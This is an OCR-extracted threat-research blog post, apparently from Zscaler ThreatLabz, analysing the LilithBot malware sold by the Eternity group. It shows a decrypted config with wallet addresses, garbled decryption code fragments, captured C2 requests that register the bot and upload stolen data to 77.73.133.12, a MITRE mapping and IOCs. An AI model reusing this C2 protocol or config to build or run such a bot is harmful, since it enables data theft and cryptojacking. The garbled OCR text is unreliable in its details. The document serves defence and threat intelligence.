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Introduction

ThreatlLabz recently discovered a sample of the multi-function malware LilithBot in our database. Further research revealed
that this was associated with the Eternity group (a.k.a. EternityTeam; Eternity Project), a threat group linked to the Russian
“Jester Group,” that has been active since at least January 2022. Eternity uses an as-a-service subscription model to
distribute different Eternity-branded malware modules in underground forums, including a stealer, miner, botnet, ransomware,
worm-+dropper, and DDoS bot.

The LilithBot we discovered was being distributed through a dedicated Telegram group and a Tor link that provided one-stop-
shopping for these various payloads. In addition to its primary botnet functionality, it also had built-in stealer, clipper, and
miner capabilities. In this blog, we’ll provide a deep analysis of the LilithBot campaign, including a look at several variants.

Key Features of this Attack

« Threat groups have been enhancing their capabilities and selling them as Malware-as-a-Service (MaaS) in exchange for

a membership fee. One such cyber criminal group, dubbed “Eternity,” has been found selling the malware “LilithBot”

« “LilithBot” is distributed by Eternity via a dedicated Telegram channel from which we can purchase it via Tor. It has
advanced capabilities to be used as a miner, stealer, and a clipper along with its persistence mechanisms.

e The group has been continuously enhancing the malware, adding improvements such as anti-debug and anti-VM
checks.

e The malware registers itself on the system and decrypts itself step by step, dropping its configuration file.

 LilithBot uses various types of fields such as license key, encoding key, and GUID which is encrypted via AES and
decrypts itself at runtime.

|t steals all the information and uploads itself as a zip file to its Command and Control.

Summary

In July 2022, Zscaler’s ThreatLabz threat research team identified a multifunctional malware bot known as LilithBot, sold on a
subscription basis by the Eternity group. In this campaign, the threat actor registers the user on its botnet and steals files and
user information by uploading it to a command-and-control (C2) server using the Tor network. In this campaign, the malware
uses fake certificates to bypass detections; it acts as a stealer, miner, clipper, and botnet.

In this blog, ThreatLabz will explain various aspects of the LilithBot threat campaign.

About Eternity

Eternity Project is a malware toolkit which is sold as a malware-as-a-service (MaaS). These malware are distributed via the
Tor proxy. Eternity advertises via a dedicated Telegram channel named @EternityDeveloper and has an email address of
[email protected][.Jorg. They have different types of services:

o Stealer
e Miner
o Clipper
 Ransomware
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+ Worm+Dropper
e DDoS Bot

Eternity usually operates via Telegram and accepts payments through popular cryptocurrencies including BTC, ETH, XMR,
USDT, LTC, DASH, ZEC and DOGE.

They provide customized viruses and will create viruses with add-on features if the customer desires.The price of the malware
ranges from $90-$470 USD.

The below screenshot of the Eternity Telegram channel illustrates the regular updates and enhancements the group makes to
their products.
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Fig 1. Eternity Telegram Channel
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The Telegram channel is dubbed “Eternity Channel.” Basic account details are shown below.
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Fig 2. Telegram Home Page
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The Eternity group regularly directs clients to their dedicated Tor link, in which their various malware and their features are laid
out in detail.
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Fig 3. Tor link mentioned in Telegram
The Tor link leads to the below homepage, which explains the various products and modules available for purchase.
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. Etemity
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Fig 4. Tor site for Eternity group

The highest priced product for sale is their Ransomware, described in the below screenshot. The ransomware encrypts
documents and files of the targeted user. The Tor page includes a dedicated video on how to generate the ransomware
payload.

)

Eternity Ransomware

Bigb

’I&t's aenerate Ransomware build

Purchase

Fig 5. Features of payloads
In summary, Eternity has a very user-friendly service that is:

« Easy to purchase and operate via Tor, with a wide range of popular crypto currencies accepted for payment.

« Customizable to fit clients’ specific needs.

* Regularly updated at no additional charge. They also offer many add-on discounts and referral rewards to their
customers.
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Comparison Between Two Variants

As the LilithBot malware has evolved, we have observed slight differences in the main function of different releases.

Several commands that were present in earlier variants are not present in the newest variant that we have received. These
functions include:

o Checking for the presence of various DLLs by iterating via arraylist and returning a Boolean value.The DLLs mentioned
are related to virtual software like Sandboxie, 360 Total Security, Avast, and COMODO AVs.

» Checking for Win32_PortConnector which represents physical connection ports such as DB-25 pin male, Centronics, or
PS/2. This ensures that it's on a physical machine rather than a virtual machine.

lpModuleName) ;

1 result;

Mutex(
result);
g[] array = ing 1 result;

'(‘ _get All
(array[i] +

b3

Fig 6. Comparison between variants

It is likely that the group is still performing these functions, but doing so in more sophisticated ways: such as performing it
dynamically, encrypting the functions like other regions of code, or using other advanced tactics.

Technical Analysis

The entry point starts with registration of the bot. The malware initially checks with a Mutex named “8928a2d3-173b-43cb-
8837-0e2e88b6d3b1” and subsequently checks for a file in the Startup folder.

It then copies the same into the Startup folder if the file does not exist. The function StartupFilename then checks whether a
file has been created which with an extension of “.exe”,”.com” or “.scr”; if not, it will append “.exe” to the filename and add this

filename in the Startup path.
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Fig 7. Mutex Creation

Fig 8. Checks Startup Files

The image below shows that the bot has successfully registered when the response to the decrypted data has the string
“registered successfully” present in the register bot function, when checking the array data value.
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Fig 10. Registered Successfully

The Initialize function can be used to extract the value of different fields in a config file, as shown below. After decrypting the
aes cipher, we can see all the important fields present in the config file. The following are the fields present inside the config
file:

"Lilith": {
"CommandsCheckinterval": 14
}
"BotKiller": {
"Enabled": false
e
"Stealer": {
"Enabled”: true
e

"Clipper": {
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"Enabled”: true,
"Addresses": {

"XMR":
"493eic71yTX23KnxuC1FimhkW5kEv1G2aMcE1spdBYot5BLo2ZdDbUcPCLAXMQPgLpgkNxLH4FWDRLjcdxmvG6ba4D8saKg",

"BTC": "bc1qd8e4maz97mv23simgg7d4je2mydslkism56vdz”,

"ETH": "OxFf7f57a2c7952fD9550A5EO0FE53d4F104886403A"

}
"Miner": {
"Enabled": false,
"Pool": "pool.minexmr.com:4444",

"Wallet":
"493eic71yTX23KnxuC1FimhkWS5kEv1G2aMcE1spdBYot5BLo2ZdDbUcPCLAXMQPgLpgkNxLH4FWDRLjcdxmvG6ba4D8saKg",

"Password": "x",

"MaxCPU": "40"

100 %

Memary 1

Fig 11. Decrypted Config File Found in memory

We also came across a function that confirms the malware is using its own decrypting mechanism so that it can’t be decrypted
manually.

All the encrypted data goes through the function “DecryptBytesToString” on which we can extend our breakpoint to know all
the values of the decrypting data using dynamic analysis.

We can see that the C2 server has the IP address: 77.73.133[.]12 with the port no. 4545 with the api gate/ and which expects
certain arguments for field {0} and {1}. The key and data are hidden inside the Hex array which we can see in the memory
dump.

We can decrypt the encoded key which translates to the value c4d8c7f433c1e79afedeff3a4b05c7c9.

We also observed a license key field which has the value 59BEOABAF3BC570D8F6F88A597C64B85. This is the decrypting
function; the below image shows the decrypted text for the corresponding values.
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a(byte[] data)

e[] result;
= (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider

Key = this.Key,
BlockSize = 128,

Mode = Ciphertode.CBC,
Padding = PaddingMode.PKCS?

yte[aesCryptoServiceProvider.
rray, @, array. )
- , array))
tream memoryStream =
am cryptoStream = new C
ter binaryWriter =
binaryWriter.lirite(data, array.

result = memoryStream. ToArray();

Fig 12. Decrypted License Key and Encoded Key

The sample also defines a function which gets the response of the body. If the response is not null, it then checks to make
sure both the C2 server and the target’s network are online. Then, it will then generate the GET request by checking a few
permissions.

The malware further checks whether the hostname contains the onion domain. After checking the permissions, it downloads
the Tor bundle and connects to the IP. The Upload File function combines the hostname with the client, name of the file, and
directory as parameters.

Thread thread =
{
c_checkCommandMappings
thread. ]
—atch (Exception wvalue)

teline(value};

Fig 13. Checks if bot is online or offline




Network Artifacts

LilithBot malware shows 3 requests to the Host ip:77.73.133[.]12 with port 4545.The user agent shows the relation of the
malware with LilithBot.

The first request is to register the bot with /registerBot API with the mutex name prepended.

Request Headers
POST /gate/8928a2d3-173b-43ch-8837-0e2288bbd3b 1/registerBot HTTP/1.1
Client
User-Agent: Lilith-Botf3.0 (Microsoft Windows NT 6.2.9200.0)
Entity
ContentLength: 156
Content-Type: application/x-www-form-urlencoded
Transport
Expect: 100-continue
Hest: 77.73.133.12:4545

Transformer Headers Textiiew SyntaxView ImageView HexView WebView A

HTTR/1.1 201 CREATED

Server: werkzeug/2.2.1 Python/3.10.4
Date: wed, 10 Aug 2022 08:58:51 GMT
Content-Type: text/html; charset=utf-3
Connection: close

Content-Length: 48

O=h000000nO00#005000+00Tc+000 |00
5]

oo
osooooo

Fig 14. Sends Request to Register Bot

The second request is an API to download the file contents according to the plugin settings ‘admin_settings_plugin.json’.

GET /gate/89528a2d3-173b-43cb-8837-0e 22 88b6d 3b 1 /getFile Tname=admin_plugin_settings json HTTP/1.1
Client

User-Agent: Lilith-Botf3.0 (Microsoft Windows NT 6.2.9200.0)
Transport

Host: 77.73.133.12:4545

Transformer | Headers | TextView SyntaxView ImageView HexView WebView | Auth | Caching Cookies ||Raw | JSON

HTTP/1.1 200 OK

Server: Werkzeug/2.2.1 Python/3.10.4
Date: wed, 10 Aug 2022 08:58:51 GMT
Content-Type: text/html; charset=utf-8
Connection: close

Content-Length: S00

el ! 'AN 0000J0000z0)gX000zOADDA O@0xwIOOVOO\DiTU3 OkOSXvZOOObO)OOY*O' OHOUNDOSOO60GO:O00DhoOOOO0S040
MO
0BhOMOOCOOLVSO000003SE100MO7 6FO00 00000SF00hD(0{00k0r0D0~ F&OOeNOOO006W*00|000S0vI050GXM=0000vOnnY:Do
000n0~(FpYEOOOOE=000
MCOOUOOO001baI0hwaqn )0y Jo&ofon ' oo
000ennTol’ 0=ZgOOX0YOSe,/mSwil>X{000e0s000000000000500=0}00=00 >u00
0000«<0ke _N000000Z00n00 (00038000NIGWL%00POShOOOO_00
0}z00005U0D03SGON0S0000000FHCYIANIVIOD>*- (8al-Z)%0000X00
qQomOOucinnXo0enu?
;000orooon
O~gnvpnhi | 0j0N; Danwbnennn, 00p@no (0 * 00okon
0000fO0?"0p0200AOVIOOY; ; 00TO; EN"O0C1Z07N\04K0000_010y0000

Fig 15. Requests plugin settings
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We see another request to upload the file in a ZIP format named as “report.zip” with dir parameter as ‘Stealer’. The zip file
contains multiple directories that store information typical of a stealer, including the browser history, cookies, and personal
information such as pictures stored in the C:\Users\[user]\Pictures folder, and much more.

Request Headers
POST /gate/8928a2d3-173b-43cb-8837-0e 22 88b6d 3b 1 /uploadFile ’name=Report zipddir=5tealer HTTP/1.1
Client
User-Agent: Lilith-Bot/3.0 (Microsoft Windows NT 6.2,9200.0)
Entity
ContentLength: 127203
Transport
Expect: 100-continue
Host: 77.73.133.12:4545

Transformer Headers | TextView Syntaxiiew ImageView HexView WebView | Auth |

HTTP/1.1 201 CREATED

Server: werkzeug,/2.2.1 Python/3.10.4
Date: wed, 10 Aug 2022 08:58:53 GMT
Content-Type: text/html; charset=utf-8
Connection: close

content-Length: 438

0/$00R02"0
0)wO_%000h00003IZN
OOMO™0~<70+00G00° !

Fig 16. Uploads report file

| 5 | ChlUsersiUser\Desktophreport.ziph,

Mame Size
Browsers 7002
Grabber 32

[®] Sereenshot.png 155372

Fig 17. Contents inside Report.zip

Fake Certificates

A legitimate Microsoft-signed file is issued by the “Microsoft Code Signing PCA” certificate authority, and will also display a
countersignature from Verisign. However, we have seen that the fake certificates in LilithBot have no countersignature, and
appears to have been issued by “Microsoft Code Signing PCA 2011” which was not verified.
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@i Certificate =

General Details Certification Path

@ﬁ Certificate Information

The digital signature of the object did not verify.

Issued to: Microsoft Windows

Issued by: Microsoft Windows Production PCA 2011

valid from 12/16/2020 to 12/3/2021

Install Certificate Issuer Statement

Fig 18. Fake cettificate issued by Microsoft

Sandbox Report

SANDBOX DETAIL REPORT WHighRisk  ® Moderate Risk  * Low Risk
Report ID (MD5): OEBESBDE305581CIECA37E53A46D033C8 Analysis Performed: 9/22/2022 12:46:20 PM
CLASSIFICATION MITRE ATT&CK 2
Class Type Threat Score This report contains 27 ATT&CK techniques mapped to 8 tactics
Malicious
Category 1 O 0
Malware & Botnet Detected: g

Win32.Coinminer.Xmrig

SECURITY BYPASS b NETWORKING 2

« Sample Sleeps For A Long Time (Installer Files Shows These Uses Network Protocols On Non-Standard Ports

Property). « Uses Netsh To Modify The Windows Network And Firewall
* Found A High Number Of Window / User Specific System Calls Settings
Contains Long Sleeps « Performs Connections To IPs Without Corresponding DNS
Lookups

Contains Medium Sleeps (>= 30s)

HTTP GET Or POST Without A User Agent
Detected TCP Or UDP Traffic On Non-Standard Ports

Executes Massive Amount Of Sleeps In A Loop

SPREADING b INFORMATION LEAKAGE b
o Tries To Harvest And Steal WLAN Passwords » Tries To Harvest And Steal Putty Information (Sessions, Passwords,
Etc)

o Tries To Harvest And Steal Browser Information
» Enumerates The File System

« Tries To Search For Mail Accounts

Fig 19. Zscaler Sandbox report

VIRUS AND MALWARE

& Win32.Coinminer.Xmrig

STEALTH

= Binary Contains A Suspicious Time Stamp

Disables Application Error Messages

EXPLOITING

e Known MD5

May Try To Detect The Windows Explorer Process

Zscaler's multilayered cloud security platform detects indicators, as shown below:

Win64.PWS.LilithBot

File Type:

=

exebd
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MITRE ATT&CK

ID Tactic Technique

T1003 Credential Access OS Credential Dumping

T1552.002 Credential Access Credentials in Registry

T1114.002 Collection Remote Email Collection

T1005 Collection Data from Local System

T1204 User Execution User interaction

T1268 Conduct social engineering Uses social eng to install payload
T1222 Defense Evasion File Directory Permissions Modification
T1027 Defense Evasion Obfuscated Files or Information

T1016 Discovery System Network Configuration Discovery
T1012 Discovery Query Registry

T1018 Discovery Remote System Discovery

T1057 Discovery Process Discovery

T1047 Execution Windows Management Instrumentation
T1059 Execution Command and Scripting Interpreter

T1037.005 Persistence, Privilege Escalation Startup ltems

T1071 Command and Control Application Layer Protocol

Indicators of Compromise (IOCs)

0Oebe8de305581c9eca3d7e53a46d033c8 Executable using microsoft signed certificate

1cae8559447370016ff20da8f717db53 Executable using microsoft signed certificate

e793fcd5e44422313ec70599078adbdc  Executable File

65c0241109562662f4398¢ff77499b25 DIl File using microsoft signed certificate

77.73.133.12 C&C
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45.9.148.203 C&C

91.243.59.210 C&C

195.2.71.214 C&C
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